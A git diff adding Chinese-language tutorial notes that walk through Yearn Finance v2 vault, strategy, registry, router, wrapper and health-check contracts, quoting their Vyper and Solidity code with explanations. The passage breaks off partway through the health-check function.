+    credit: uint256 = self._creditAvailable(msg.sender)
+
+    # Outstanding debt the Strategy wants to take back from the Vault (if any)
+    # NOTE: debtOutstanding <= StrategyParams.totalDebt
+    debt: uint256 = self._debtOutstanding(msg.sender)
+    debtPayment: uint256 = min(_debtPayment, debt)
+
+    if debtPayment > 0:
+        self.strategies[msg.sender].totalDebt -= debtPayment
+        self.totalDebt -= debtPayment
+        debt -= debtPayment
+        # NOTE: `debt` is being tracked for later
+
+    # Update the actual debt based on the full credit we are extending to the Strategy
+    # or the returns if we are taking funds back
+    # NOTE: credit + self.strategies[msg.sender].totalDebt is always < self.debtLimit
+    # NOTE: At least one of `credit` or `debt` is always 0 (both can be 0)
+    if credit > 0:
+        self.strategies[msg.sender].totalDebt += credit
+        self.totalDebt += credit
+
+    # Give/take balance to Strategy, based on the difference between the reported gains
+    # (if any), the debt payment (if any), the credit increase we are offering (if any),
+    # and the debt needed to be paid off (if any)
+    # NOTE: This is just used to adjust the balance of tokens between the Strategy and
+    #       the Vault based on the Strategy's debt limit (as well as the Vault's).
+    totalAvail: uint256 = gain + debtPayment
+    if totalAvail < credit:  # credit surplus, give to Strategy
+        self.erc20_safe_transfer(self.token.address, msg.sender, credit - totalAvail)
+    elif totalAvail > credit:  # credit deficit, take from Strategy
+        self.erc20_safe_transferFrom(self.token.address, msg.sender, self, totalAvail - credit)
+    # else, don't do anything because it is balanced
+
+    # Profit is locked and gradually released per block
+    # NOTE: compute current locked profit and replace with sum of current and new
+    lockedProfitBeforeLoss: uint256 = self._calculateLockedProfit() + gain - totalFees
+    if lockedProfitBeforeLoss > loss:
+        self.lockedProfit = lockedProfitBeforeLoss - loss
+    else:
+        self.lockedProfit = 0
+
+    # Update reporting time
+    self.strategies[msg.sender].lastReport = block.timestamp
+    self.lastReport = block.timestamp
+
+    log StrategyReported(
+        msg.sender,
+        gain,
+        loss,
+        debtPayment,
+        self.strategies[msg.sender].totalGain,
+        self.strategies[msg.sender].totalLoss,
+        self.strategies[msg.sender].totalDebt,
+        credit,
+        self.strategies[msg.sender].debtRatio,
+    )
+
+    if self.strategies[msg.sender].debtRatio == 0 or self.emergencyShutdown:
+        # Take every last penny the Strategy has (Emergency Exit/revokeStrategy)
+        # NOTE: This is different than `debt` in order to extract *all* of the returns
+        return Strategy(msg.sender).estimatedTotalAssets()
+    else:
+        # Otherwise, just return what we have as debt outstanding
+        return debt
+
+```
\ No newline at end of file
diff --git a/defi/YFI/yearnVault/02-BaseStrategy.md b/defi/YFI/yearnVault/02-BaseStrategy.md
new file mode 100644
index 000000000..4d14867f3
--- /dev/null
+++ b/defi/YFI/yearnVault/02-BaseStrategy.md
@@ -0,0 +1,126 @@
+# 介绍  
+Strategy 基础合约类，里面含有很多抽象类，每个 Vault 的具体 Strategy 实现都需要继承抽象类。 
+
+## 抽象类介绍  
+### BaseStrategy  
+BaseStrategy 中包括了许多和 Vault 交互的接口，并进行了简单实现。  
+
+- delegatedAssets  
+在 Vault 合约中， _assessFees 计算 management_fee 的时候就会调用 strategy 的这个接口，用于得到归属于当前 Vault 的真正 debt。 
+接口默认返回 0 ，表示没有代理其他 Vault 的资金。当然，strategy 可以覆盖这个接口，用于实现特定的场景需求。  
+```solidity
+function delegatedAssets() external view virtual returns (uint256) {
+        return 0;
+    }
+```
+
+- _initialize  
+初始化接口，在构造函数中被调用，用于初始化 strategy 的重要变量。 
+minReportDelay/maxReportDelay/profitFactor/debtThreshold 用于判断 strategy 是否需要进行和 Vault 的收益结算。 
+```solidity
+function _initialize(
+        address _vault,
+        address _strategist,
+        address _rewards,
+        address _keeper
+    ) internal {
+        require(address(want) == address(0), "Strategy already initialized");
+
+        vault = VaultAPI(_vault);
+        want = IERC20(vault.token());
+        SafeERC20.safeApprove(want, _vault, type(uint256).max); // Give Vault unlimited access (might save gas)
+        strategist = _strategist;
+        rewards = _rewards;
+        keeper = _keeper;
+
+        // initialize variables
+        minReportDelay = 0;
+        maxReportDelay = 86400;
+        profitFactor = 100;
+        debtThreshold = 0;
+
+        vault.approve(rewards, type(uint256).max); // Allow rewards to be pulled
+    }
+```
+
+- harvestTrigger  
+主要提供给自动化程序，或是 Keep3r 使用，用于判断是否可以触发 harvest 。 
+```solidity
+function harvestTrigger(uint256 callCostInWei) public view virtual returns (bool) {
+        return
+            StrategyLib.internalHarvestTrigger(
+                address(vault),
+                address(this),
+                ethToWant(callCostInWei),
+                minReportDelay,
+                maxReportDelay,
+                debtThreshold,
+                profitFactor
+            );
+    }
+```
+
+- harvest  
+用于收益结算，在处理过程中，总共进行如下几个步骤：
+1. 判断当前 strategy 是否处于 emergency 状况。如果是，则撤回所有投资，计算当前此 strategy 需要返还给 Vault 的资金。在这个计算过程中可以发现，loss 和 profit 只会有一个变量大于0，即 strategy 要么投资亏损，要么投资盈利。 最后，计算 strategy 实际返回给 Vault 的资金，需要扣除 loss 部分   
+2. 当 strategy 没有处理 emergency 状态时，调用 prepareReturn 返回需要传递给 Vault 的 profit/loss/debtPayment 这三个值
+3. 调用 adjustPosition 处理剩余未返还给 Vault 的资金  
+```solidity
+function harvest() external onlyKeepers {
+        uint256 profit = 0;
+        uint256 loss = 0;
+        uint256 debtOutstanding = vault.debtOutstanding();
+        uint256 debtPayment = 0;
+        if (emergencyExit) {
+            // Free up as much capital as possible
+            uint256 amountFreed = liquidateAllPositions();
+            if (amountFreed < debtOutstanding) {
+                loss = debtOutstanding.sub(amountFreed);
+            } else if (amountFreed > debtOutstanding) {
+                profit = amountFreed.sub(debtOutstanding);
+            }
+            debtPayment = debtOutstanding.sub(loss);
+        } else {
+            // Free up returns for Vault to pull
+            (profit, loss, debtPayment) = prepareReturn(debtOutstanding);
+        }
+
+        // Allow Vault to take up to the "harvested" balance of this contract,
+        // which is the amount it has earned since the last time it reported to
+        // the Vault.
+        debtOutstanding = vault.report(profit, loss, debtPayment);
+
+        // Check if free returns are left, and re-invest them
+        adjustPosition(debtOutstanding);
+
+        emit Harvested(profit, loss, debtPayment, debtOutstanding);
+    }
+```
+
+- withdraw  
+分析 Vault 的时候，我们知道，当用户需要提取存入的资金时，如果 Vault 中资金不足，Vault 会从 strategy 中提取。 withdraw 接口就是用于此目的  
+```solidity
+function withdraw(uint256 _amountNeeded) external returns (uint256 _loss) {
+        require(msg.sender == address(vault), "!vault");
+        // Liquidate as much as possible to `want`, up to `_amountNeeded`
+        uint256 amountFreed;
+        (amountFreed, _loss) = liquidatePosition(_amountNeeded);
+        // Send it directly back (NOTE: Using `msg.sender` saves some gas here)
+        SafeERC20.safeTransfer(want, msg.sender, amountFreed);
+        // NOTE: Reinvest anything leftover on next `tend`/`harvest`
+    }
+```
+
+- sweep  
+可能会出现其他代币被误转入此 strategy 的情况。为了能取出这些代币，strategy 预留了一个 sweep 的接口，只允许 governance 调用，取出误打入此 strategy 的非投资用代币。  
+```solidity
+function sweep(address _token) external onlyGovernance {
+        require(_token != address(want), "!want");
+        require(_token != address(vault), "!shares");
+
+        address[] memory _protectedTokens = protectedTokens();
+        for (uint256 i; i < _protectedTokens.length; i++) require(_token != _protectedTokens[i], "!protected");
+
+        SafeERC20.safeTransfer(IERC20(_token), governance(), IERC20(_token).balanceOf(address(this)));
+    }
+```
\ No newline at end of file
diff --git a/defi/YFI/yearnVault/03-Registry.md b/defi/YFI/yearnVault/03-Registry.md
new file mode 100644
index 000000000..d17cc317e
--- /dev/null
+++ b/defi/YFI/yearnVault/03-Registry.md
@@ -0,0 +1,182 @@
+# 介绍  
+对于 Yearn 来说，需要管理许多的 Vault，为了便于管理这些 Vault，Yearn 使用了 Registry 合约。  
+Vault 通过在 Registry 中注册，之后根据 BaseRouter 提供的接口，可以方便的访问 Registry 中的各个 Vault，进行资金质押赚取收益。
+在 Registry 合约中，主要的接口为 _registerVault 和 newRelease 这两个接口。观察这两个接口可以发现，只有 release 的 Vault 才能在 Registry 中进行注册。 
+
+## 合约分析  
+- newRelease  
+发布新的 Vault，发布时会检查新发布的 Vault apiVersion 是否与上一个发布的 Vault apiVersion 相同，当然这里的检查不是严格要求 apiVersion 是递增或是不能重复的，只要与上一个 Vault 不同即可。
+可以看到，self.numReleases 记录了下一个将要发布的 Vault 的编号。 self.numReleases 默认值为 0，所以从代码中可以发现，没有任何 release vault 的时候，self.numReleases - 1 运算后会出现下溢的情况。所以在使用 self.releases 查询上一个 release Vault 的时候，先判断了 release_id 是否大于 0。
+```python
+def newRelease(vault: address):
+    """
+    @notice
+        Add a previously deployed Vault as the template contract for the latest release,
+        to be used by further "forwarder-style" delegatecall proxy contracts that can be
+        deployed from the registry throw other methods (to save gas).
+    @dev
+        Throws if caller isn't `self.governance`.
+        Throws if `vault`'s governance isn't `self.governance`.
+        Throws if the api version is the same as the previous release.
+        Emits a `NewVault` event.
+    @param vault The vault that will be used as the template contract for the next release.
+    """
+    assert msg.sender == self.governance  # dev: unauthorized
+
+    # Check if the release is different from the current one
+    # NOTE: This doesn't check for strict semver-style linearly increasing release versions
+    release_id: uint256 = self.numReleases  # Next id in series
+    if release_id > 0:
+        assert (
+            Vault(self.releases[release_id - 1]).apiVersion()
+            != Vault(vault).apiVersion()
+        )  # dev: same api version
+    # else: we are adding the first release to the Registry!
+
+    # Update latest release
+    self.releases[release_id] = vault
+    self.numReleases = release_id + 1
+
+    # Log the release for external listeners (e.g. Graph)
+    log NewRelease(release_id, vault, Vault(vault).apiVersion())
+```
+
+-  _registerVault  
+Yearn 中，当一种 token 对应的 Vault 升级变更，需要重新注册一个 Vault。self.vaults 定义了 token 到不同 Vault 的映射。 
+self.vaults 使用两个参数进行映射，第一参数为 token 地址，第二个参数为 Vault 的编号 ，从 0 开始。 
+另外，这里还使用 self.numVaults 变量记录每一种 token 对应的下一个 Vault 的编号。从代码中可以看到， self.numVaults 的处理和 self.numReleases 一样，在初始查询的时候，会出现下溢的情况，这里同样进行了判断处理，避免调用失败。
+```python
+def _registerVault(token: address, vault: address):
+    # Check if there is an existing deployment for this token at the particular api version
+    # NOTE: This doesn't check for strict semver-style linearly increasing release versions
+    vault_id: uint256 = self.numVaults[token]  # Next id in series
+    if vault_id > 0:
+        assert (
+            Vault(self.vaults[token][vault_id - 1]).apiVersion()
+            != Vault(vault).apiVersion()
+        )  # dev: same api version
+    # else: we are adding a new token to the Registry
+
+    # Update the latest deployment
+    self.vaults[token][vault_id] = vault
+    self.numVaults[token] = vault_id + 1
+
+    # Register tokens for endorsed vaults
+    if not self.isRegistered[token]:
+        self.isRegistered[token] = True
+        self.tokens[self.numTokens] = token
+        self.numTokens += 1
+
+    # Log the deployment for external listeners (e.g. Graph)
+    log NewVault(token, vault_id, vault, Vault(vault).apiVersion())
+```
+
+- latestVault  
+查询给定币种的最新已注册 Vault。这里计算的时候使用到了 self.numVaults， 可以发现对于任何没有 Vault 注册的币种，这个变量的返回值为 0。所以调用这个接口查询没有 Vault 注册的币种时，查询会失败。
+```python
+def latestVault(token: address) -> address:
+    """
+    @notice Returns the latest deployed vault for the given token.
+    @dev Throws if no vaults are endorsed yet for the given token.
+    @param token The token address to find the latest vault for.
+    @return The address of the latest vault for the given token.
+    """
+    # NOTE: Throws if there has not been a deployed vault yet for this token
+    return self.vaults[token][self.numVaults[token] - 1]  # dev: no vault for token
+```
+
+- _newProxyVault  
+_newProxyVault 用于快速克隆一个 Vault。 可以看到， 接口接受一个 releaseTarget 参数，用于在 self.releases 查找目标 Vault，然后使用 Vyper 内置函数 create_forwarder_to 进行克隆。 
+克隆成功后，使用 initialize 接口进行初始化。 
+```python
+def _newProxyVault(
+    token: address,
+    governance: address,
+    rewards: address,
+    guardian: address,
+    name: String[64],
+    symbol: String[32],
+    releaseTarget: uint256,
+) -> address:
+    release: address = self.releases[releaseTarget]
+    assert release != ZERO_ADDRESS  # dev: unknown release
+    vault: address = create_forwarder_to(release)
+
+    # NOTE: Must initialize the Vault atomically with deploying it
+    Vault(vault).initialize(token, governance, rewards, name, symbol, guardian)
+
+    return vault
+```
+
+- newVault  
+1. 根据接口中传入的 releaseDelta 参数获取目标 Vault  
+2. 调用 _newProxyVault 接口克隆目标 Vault  
+3. 调用 _registerVault 接口，把克隆出来的 Vault 注册到 Registry 中  
+```python
+def newVault(
+    token: address,
+    guardian: address,
+    rewards: address,
+    name: String[64],
+    symbol: String[32],
+    releaseDelta: uint256 = 0,  # NOTE: Uses latest by default
+) -> address:
+    """
+    @notice
+        Create a new vault for the given token using the latest release in the registry,
+        as a simple "forwarder-style" delegatecall proxy to the latest release. Also adds
+        the new vault to the list of "endorsed" vaults for that token.
+    @dev
+        `governance` is set in the new vault as `self.governance`, with no ability to override.
+        Throws if caller isn't `self.governance`.
+        Throws if no releases are registered yet.
+        Throws if there already is a registered vault for the given token with the latest api version.
+        Emits a `NewVault` event.
+    @param token The token that may be deposited into the new Vault.
+    @param guardian The address authorized for guardian interactions in the new Vault.
+    @param rewards The address to use for collecting rewards in the new Vault
+    @param name Specify a custom Vault name. Set to empty string for default choice.
+    @param symbol Specify a custom Vault symbol name. Set to empty string for default choice.
+    @param releaseDelta Specify the number of releases prior to the latest to use as a target. Default is latest.
+    @return The address of the newly-deployed vault
+    """
+    assert msg.sender == self.governance  # dev: unauthorized
+
+    # NOTE: Underflow if no releases created yet, or targeting prior to release history
+    releaseTarget: uint256 = self.numReleases - 1 - releaseDelta  # dev: no releases
+    vault: address = self._newProxyVault(token, msg.sender, rewards, guardian, name, symbol, releaseTarget)
+
+    self._registerVault(token, vault)
+
+    return vault
+```
+
+- endorseVault  
+添加一个已经部署的 Vault 到 Registry 中。此接口和 newVault 的区别在于，此接口调用时，不需要去进行克隆。 只要进行注册的 Vault 的  apiVersion 和已经 release 的 Vault apiVersion 相同即可注册成功。
+```python
+def endorseVault(vault: address, releaseDelta: uint256 = 0):
+    """
+    @notice
+        Adds an existing vault to the list of "endorsed" vaults for that token.
+    @dev
+        `governance` is set in the new vault as `self.governance`, with no ability to override.
+        Throws if caller isn't `self.governance`.
+        Throws if `vault`'s governance isn't `self.governance`.
+        Throws if no releases are registered yet.
+        Throws if `vault`'s api version does not match latest release.
+        Throws if there already is a deployment for the vault's token with the latest api version.
+        Emits a `NewVault` event.
+    @param vault The vault that will be endorsed by the Registry.
+    @param releaseDelta Specify the number of releases prior to the latest to use as a target. Default is latest.
+    """
+    assert msg.sender == self.governance  # dev: unauthorized
+    assert Vault(vault).governance() == msg.sender  # dev: not governed
+
+    # NOTE: Underflow if no releases created yet, or targeting prior to release history
+    releaseTarget: uint256 = self.numReleases - 1 - releaseDelta  # dev: no releases
+    api_version: String[28] = Vault(self.releases[releaseTarget]).apiVersion()
+    assert Vault(vault).apiVersion() == api_version  # dev: not target release
+
+    # Add to the end of the list of vaults for token
+    self._registerVault(Vault(vault).token(), vault)
+```
\ No newline at end of file
diff --git a/defi/YFI/yearnVault/04-BaseRouter.md b/defi/YFI/yearnVault/04-BaseRouter.md
new file mode 100644
index 000000000..a037c6c19
--- /dev/null
+++ b/defi/YFI/yearnVault/04-BaseRouter.md
@@ -0,0 +1,242 @@
+# 介绍  
+前面已经介绍了 Registry 合约，了解了 Vault 注册和发布的流程。这里，继续介绍下 BaseRouter 合约。  
+BaseRouter 封装了用于和 Registry 交互接口，用户通过调用这些接口，就可以操作对应的 Vault。  
+
+## 合约分析  
+- constructor  
+构造函数，传入参数为 registry 合约地址，后续便和此 registry 进行交互。 
+```solidity
+constructor(address _registry) public {
+        // Recommended to use `v2.registry.ychad.eth`
+        registry = RegistryAPI(_registry);
+    }
+```
+
+
+- setRegistry  
+当 Yearn 进行升级或迁移时，相应的 registry 地址会进行更新。  
+调用这个接口，可以把合约中保存的 registry 地址更新为最新的 registry 地址。  
+```solidity
+function setRegistry(address _registry) external {
+        require(msg.sender == registry.governance());
+        // In case you want to override the registry instead of re-deploying
+        registry = RegistryAPI(_registry);
+        // Make sure thgovernanceere's no change in 
+        // NOTE: Also avoid bricking the router from setting a bad registry
+        require(msg.sender == registry.governance());
+    }
+```
+
+
+- allVaults  
+为方便查询特定币中的所有 Vault，router 会缓存从 registry 中获得的 Vault。 
+1. 接口首先判断当前缓存的 vault 数量是否和 registry 中的 vault 数量相同，如果相同则直接返回缓存的 vault 列表  
+2. 如果 registry 中对应币中的 vault 数量和当前 router 缓存的 vault 数量不相同，则从 registry 中拉取缺失的 vault 进行缓存。 因为在 registry 中的 vault 列表时追加的，所以对于缺失的部分，直接从缺的位置进行拉取即可。  
+
+```solidity
+function allVaults(address token) public view virtual returns (VaultAPI[] memory) {
+        uint256 cache_length = _cachedVaults[token].length;
+        uint256 num_vaults = registry.numVaults(token);
+
+        // Use cached
+        if (cache_length == num_vaults) {
+            return _cachedVaults[token];
+        }
+
+        VaultAPI[] memory vaults = new VaultAPI[](num_vaults);
+
+        for (uint256 vault_id = 0; vault_id < cache_length; vault_id++) {
+            vaults[vault_id] = _cachedVaults[token][vault_id];
+        }
+
+        for (uint256 vault_id = cache_length; vault_id < num_vaults; vault_id++) {
+            vaults[vault_id] = VaultAPI(registry.vaults(token, vault_id));
+        }
+
+        return vaults;
+    }
+```
+
+
+-  _updateVaultCache  
+_updateVaultCache 是一个内部的接口，用于更新缓存的特定币种的 vault 列表。  
+这个接口在 _withdraw 接口中被调用，用于更新的列表会预先和 registry 合约进行同步。  
+```solidity
+function _updateVaultCache(address token, VaultAPI[] memory vaults) internal {
+        // NOTE: even though `registry` is update-able by Yearn, the intended behavior
+        //       is that any future upgrades to the registry will replay the version
+        //       history so that this cached value does not get out of date.
+        if (vaults.length > _cachedVaults[token].length) {
+            _cachedVaults[token] = vaults;
+        }
+    }
+```
+
+- totalVaultBalance  
+获取一个在账户，在一个币种的所有 vault 中的存款总量。 
+1. 因为账户在 vault 中的存款是以 share 的方式进行记录的，所以首先获取每一份 share 对应多少的 token 数量，这里计算的时候进行了币种的精度处理  
+2. 根据此账户在当前 vault 中的 share 总量，得出账户在此 vault 中存入的资金总量  
+3. 遍历币种的所有 vault ，进行资金的累加，然后计算得出账户在 yearn 中存入的此币种的资金总量  
+```solidity
+function totalVaultBalance(address token, address account) public view returns (uint256 balance) {
+        VaultAPI[] memory vaults = allVaults(token);
+
+        for (uint256 id = 0; id < vaults.length; id++) {
+            balance = balance.add(vaults[id].balanceOf(account).mul(vaults[id].pricePerShare()).div(10**uint256(vaults[id].decimals())));
+        }
+    }
+```
+
+
+- _deposit  
+_deposit 接口用于向 Vault 中存入资金。当 pullFunds 为 true 时的处理逻辑如下：
+1. 当 amount 为 DEPOSIT_EVERYTHING 时，表示从 depositor 中转入 router 的资金总量为 depositor 的余额总量  
+2. 从  depositor 中转入资金总量 amount 到当前 router 中  
+
+处理了 pullFunds 为 true 的情况后，下面就是通用的处理：
+1. 判断 router 授予给 Vault 的信用额度是否大于 amount ，如果小于 amount ，则修改信用额度为 unlimited  
+2. 根据 receiver，amount 参数的不同，调用不同的 deposit 接口  
+3. deposit 的时候，可能因为 amount 数量超过 Vault 能接受的最大限度，所以会存在无法全部存入的情况。所以在最后需要进行判断，当 router 中还有资金剩余时，需要把剩余的资金返还给 depositor  
+4. 返还存入的实际资金数量 deposited 
+
+```solidity
+function _deposit(
+        IERC20 token,
+        address depositor,
+        address receiver,
+        uint256 amount, // if `MAX_UINT256`, just deposit everything
+        bool pullFunds // If true, funds need to be pulled from `depositor` via `transferFrom`
+    ) internal returns (uint256 deposited) {
+        VaultAPI _bestVault = bestVault(address(token));
+
+        if (pullFunds) {
+            if (amount == DEPOSIT_EVERYTHING) {
+                amount = token.balanceOf(depositor);
+            }
+            SafeERC20.safeTransferFrom(token, depositor, address(this), amount);
+        }
+
+        if (token.allowance(address(this), address(_bestVault)) < amount) {
+            SafeERC20.safeApprove(token, address(_bestVault), 0); // Avoid issues with some tokens requiring 0
+            SafeERC20.safeApprove(token, address(_bestVault), UNLIMITED_APPROVAL); // Vaults are trusted
+        }
+
+        // Depositing returns number of shares deposited
+        // NOTE: Shortcut here is assuming the number of tokens deposited is equal to the
+        //       number of shares credited, which helps avoid an occasional multiplication
+        //       overflow if trying to adjust the number of shares by the share price.
+        uint256 beforeBal = token.balanceOf(address(this));
+        if (receiver != address(this)) {
+            _bestVault.deposit(amount, receiver);
+        } else if (amount != DEPOSIT_EVERYTHING) {
+            _bestVault.deposit(amount);
+        } else {
+            _bestVault.deposit();
+        }
+
+        uint256 afterBal = token.balanceOf(address(this));
+        deposited = beforeBal.sub(afterBal);
+        // `receiver` now has shares of `_bestVault` as balance, converted to `token` here
+        // Issue a refund if not everything was deposited
+        if (depositor != address(this) && afterBal > 0) SafeERC20.safeTransfer(token, depositor, afterBal);
+    }
+```
+
+
+- _withdraw  
+_withdraw 接口用于从 Vault 中提取资金。 主要逻辑如下： 
+1. 最外层为循环遍历处理，遍历 registry 中的 Vault 进行 withdraw  
+2. 对 withdrawFromBest 参数判断是仅仅从历史 Vault 中提取资金，还是包括当前的最新的 Vault  
+3. 判断 sender 在 Vault 中的可用 share  （ availableShares ）
+4. 取 availableShares 和 vaults.maxAvailableShares 两个值中的最小值，避免提取的资金超过限额。这里这样处理的原因为，从 Vault 提取资金时，为避免资金的过度提取，导致 Vault 资金不足， Vault 对提取的资金做了相应的限制    
+5. 当前可提取的 share 不为 0 的时候进行 withdraw ，否则跳过  
+6. 当接口入参中的 amount 为  MAX_UINT256 时，表示全部提取；否则根据剩余需要提取的 amount， 换算成对应的 share 进行提取
+7. 从 Vault withdraw 后，计算当前已经提取的所有的资金总量 withdrawn 是否已经满足要求，如果已经满足，则跳出循环   
+8. 判断 withdrawn 是否大于 amount ， 如果大于，则把多余的资金存回 Vault 
+9. 将提取的资金准入 receiver  
+```solidity
+function _withdraw(
+        IERC20 token,
+        address sender,
+        address receiver,
+        uint256 amount, // if `MAX_UINT256`, just withdraw everything
+        bool withdrawFromBest // If true, also withdraw from `_bestVault`
+    ) internal returns (uint256 withdrawn) {
+        VaultAPI _bestVault = bestVault(address(token));
+
+        VaultAPI[] memory vaults = allVaults(address(token));
+        _updateVaultCache(address(token), vaults);
+
+        // NOTE: This loop will attempt to withdraw from each Vault in `allVaults` that `sender`
+        //       is deposited in, up to `amount` tokens. The withdraw action can be expensive,
+        //       so it if there is a denial of service issue in withdrawing, the downstream usage
+        //       of this router contract must give an alternative method of withdrawing using
+        //       this function so that `amount` is less than the full amount requested to withdraw
+        //       (e.g. "piece-wise withdrawals"), leading to less loop iterations such that the
+        //       DoS issue is mitigated (at a tradeoff of requiring more txns from the end user).
+        for (uint256 id = 0; id < vaults.length; id++) {
+            if (!withdrawFromBest && vaults[id] == _bestVault) {
+                continue; // Don't withdraw from the best
+            }
+
+            // Start with the total shares that `sender` has
+            uint256 availableShares = vaults[id].balanceOf(sender);
+
+            // Restrict by the allowance that `sender` has to this contract
+            // NOTE: No need for allowance check if `sender` is this contract
+            if (sender != address(this)) {
+                availableShares = Math.min(availableShares, vaults[id].allowance(sender, address(this)));
+            }
+
+            // Limit by maximum withdrawal size from each vault
+            availableShares = Math.min(availableShares, vaults[id].maxAvailableShares());
+
+            if (availableShares > 0) {
+                // Intermediate step to move shares to this contract before withdrawing
+                // NOTE: No need for share transfer if this contract is `sender`
+
+                if (amount != WITHDRAW_EVERYTHING) {
+                    // Compute amount to withdraw fully to satisfy the request
+                    uint256 estimatedShares = amount
+                    .sub(withdrawn) // NOTE: Changes every iteration
+                    .mul(10**uint256(vaults[id].decimals()))
+                    .div(vaults[id].pricePerShare()); // NOTE: Every Vault is different
+
+                    // Limit amount to withdraw to the maximum made available to this contract
+                    // NOTE: Avoid corner case where `estimatedShares` isn't precise enough
+                    // NOTE: If `0 < estimatedShares < 1` but `availableShares > 1`, this will withdraw more than necessary
+                    if (estimatedShares > 0 && estimatedShares < availableShares) {
+                        if (sender != address(this)) vaults[id].transferFrom(sender, address(this), estimatedShares);
+                        withdrawn = withdrawn.add(vaults[id].withdraw(estimatedShares));
+                    } else {
+                        if (sender != address(this)) vaults[id].transferFrom(sender, address(this), availableShares);
+                        withdrawn = withdrawn.add(vaults[id].withdraw(availableShares));
+                    }
+                } else {
+                    if (sender != address(this)) vaults[id].transferFrom(sender, address(this), availableShares);
+                    withdrawn = withdrawn.add(vaults[id].withdraw());
+                }
+
+                // Check if we have fully satisfied the request
+                // NOTE: use `amount = WITHDRAW_EVERYTHING` for withdrawing everything
+                if (amount <= withdrawn) break; // withdrawn as much as we needed
+            }
+        }
+
+        // If we have extra, deposit back into `_bestVault` for `sender`
+        // NOTE: Invariant is `withdrawn <= amount`
+        if (withdrawn > amount && withdrawn.sub(amount) > _bestVault.pricePerShare().div(10**_bestVault.decimals())) {
+            // Don't forget to approve the deposit
+            if (token.allowance(address(this), address(_bestVault)) < withdrawn.sub(amount)) {
+                SafeERC20.safeApprove(token, address(_bestVault), UNLIMITED_APPROVAL); // Vaults are trusted
+            }
+
+            _bestVault.deposit(withdrawn.sub(amount), sender);
+            withdrawn = amount;
+        }
+
+        // `receiver` now has `withdrawn` tokens as balance
+        if (receiver != address(this)) SafeERC20.safeTransfer(token, receiver, withdrawn);
+    }
+}
+```
\ No newline at end of file
diff --git a/defi/YFI/yearnVault/05-BaseWrapper.md b/defi/YFI/yearnVault/05-BaseWrapper.md
new file mode 100644
index 000000000..6079e2484
--- /dev/null
+++ b/defi/YFI/yearnVault/05-BaseWrapper.md
@@ -0,0 +1,55 @@
+# 介绍  
+BaseWrapper 在继承 BaseRouter 的基础上，对 router 进行了简单的封装，简化了参数的传入。  
+可以认为 BaseWrapper 就是精键版的 Router 合约。  
+
+## 合约分析  
+- constructor  
+BaseWrapper 的构造函数，需要传入两个参数，token 和 registry 地址，用于寻址对应的 Vault。  
+```solidity
+constructor(address _token, address _registry) public BaseRouter(_registry) {
+        // Recommended to use a token with a `Registry.latestVault(_token) != address(0)`
+        token = IERC20(_token);
+    }
+```
+
+- _migrate  
+在 BaseRouter 中，介绍了 _withdraw 函数，用于把资金从历史的 Vault 中提取出来，然后存入 registry 中最新的 Vault。 _migrate 接口内部就是调用的 _withdraw 接口，具体逻辑如下：  
+1. 获取 registry 中的该币种最新的 bestVault 的 depositLimit 和 totalAssets  
+2. 当 depositLimit < totalAssets 时，表示当前 deposit 的资金总量已经超过 bestVault 的上限，无法进行 migrate ，接口退出  
+3. 获取  depositLimit 和 totalAssets 之间的差值，表示 bestVault 还允许 deposit 的金额数量  
+4. 当 bestVault 还允许 deposit amount 的资金数量大于 0 时，首先调用 BaseRouter 的 _withdraw 接口，从历史 Vault 中提取对应的 amount，然后再调用  BaseRouter 的 _deposit 将资金存入 bestVault 中   
+5. 最后判断 withdrawn - migrated ( 存入 bestVault 的资金 ) 差值是否在调用者允许范围内，即是否小于 maxMigrationLoss。 在第二步的时候，已经计算了 bestVault 当前还允许存入的资金总量，所以照理 withdrawn - migrated 应该等于 0 才对。出现现在这个情况的原因是，在调用 _withdraw 的时候，会出现过多 withdraw 的情况，即原本是要 withdraw 100$，但实际可能 withdraw 了 120$， 那么多 withdraw 出来的 20$ 就会存入 bestVault 中。在后续调用 _deposit 接口的时候，就会出现 withdrawn - migrated 大于 0 的情况。
+```solidity
+function _migrate(
+        address account,
+        uint256 amount,
+        uint256 maxMigrationLoss
+    ) internal returns (uint256 migrated) {
+        VaultAPI _bestVault = bestVault();
+
+        // NOTE: Only override if we aren't migrating everything
+        uint256 _depositLimit = _bestVault.depositLimit();
+        uint256 _totalAssets = _bestVault.totalAssets();
+        if (_depositLimit <= _totalAssets) return 0; // Nothing to migrate (not a failure)
+
+        uint256 _amount = amount;
+        if (_depositLimit < UNCAPPED_DEPOSITS && _amount < WITHDRAW_EVERYTHING) {
+            // Can only deposit up to this amount
+            uint256 _depositLeft = _depositLimit.sub(_totalAssets);
+            if (_amount > _depositLeft) _amount = _depositLeft;
+        }
+
+        if (_amount > 0) {
+            // NOTE: `false` = don't withdraw from `_bestVault`
+            uint256 withdrawn = _withdraw(token, account, address(this), _amount, false);
+            if (withdrawn == 0) return 0; // Nothing to migrate (not a failure)
+
+            // NOTE: `false` = don't do `transferFrom` because it's already local
+            migrated = _deposit(token, address(this), account, withdrawn, false);
+            // NOTE: Due to the precision loss of certain calculations, there is a small inefficency
+            //       on how migrations are calculated, and this could lead to a DoS issue. Hence, this
+            //       value is made to be configurable to allow the user to specify how much is acceptable
+            require(withdrawn.sub(migrated) <= maxMigrationLoss);
+        } // else: nothing to migrate! (not a failure)
+    }
+```
\ No newline at end of file
diff --git a/defi/YFI/yearnVault/06-CommonHealthCheck.md b/defi/YFI/yearnVault/06-CommonHealthCheck.md
new file mode 100644
index 000000000..aa87801ad
--- /dev/null
+++ b/defi/YFI/yearnVault/06-CommonHealthCheck.md
@@ -0,0 +1,35 @@
+# 介绍  
+当 Strategy 调用 Vault 的 report 接口上报收益或亏损的时候，会对 Strategy 进行必要的健康检查，避免 Strategy 的错误上报。
+
+## 合约分析  
+- _executeDefaultCheck    
+CommonHealthCheck 合约中最核心的就是这个 _executeDefaultCheck 接口了，用于判断当前 Strategy 是否处于健康状态。 
+这里主要用到了两个参数 profitLimitRatio 和 lossLimitRatio。 profitLimitRatio 用于设定 Strategy 的收益率，从代码中可以看到，使用 totalDebt 为基数，根据 profit 和 totalDebt * profitLimitRatio 的大小来判断。当 profit 大于 totalDebt * profitLimitRatio 时，判断当前 Strategy 处于异常状态。 这里设定 profitLimitRatio 的原因是避免 Strategy 因黑客攻击，造成 Strategy 的收益在 report 时变得异常，从而使黑客得利。当 Strategy 异常时，Vault 就可以拒绝 对 Strategy 进行收益结算。
+同理， lossLimitRatio 也是同样的作用。  
+```solidity
+function _executeDefaultCheck(
+        address strategy,
+        uint256 _profit,
+        uint256 _loss,
+        uint256 _totalDebt
+    ) internal view returns (bool) {
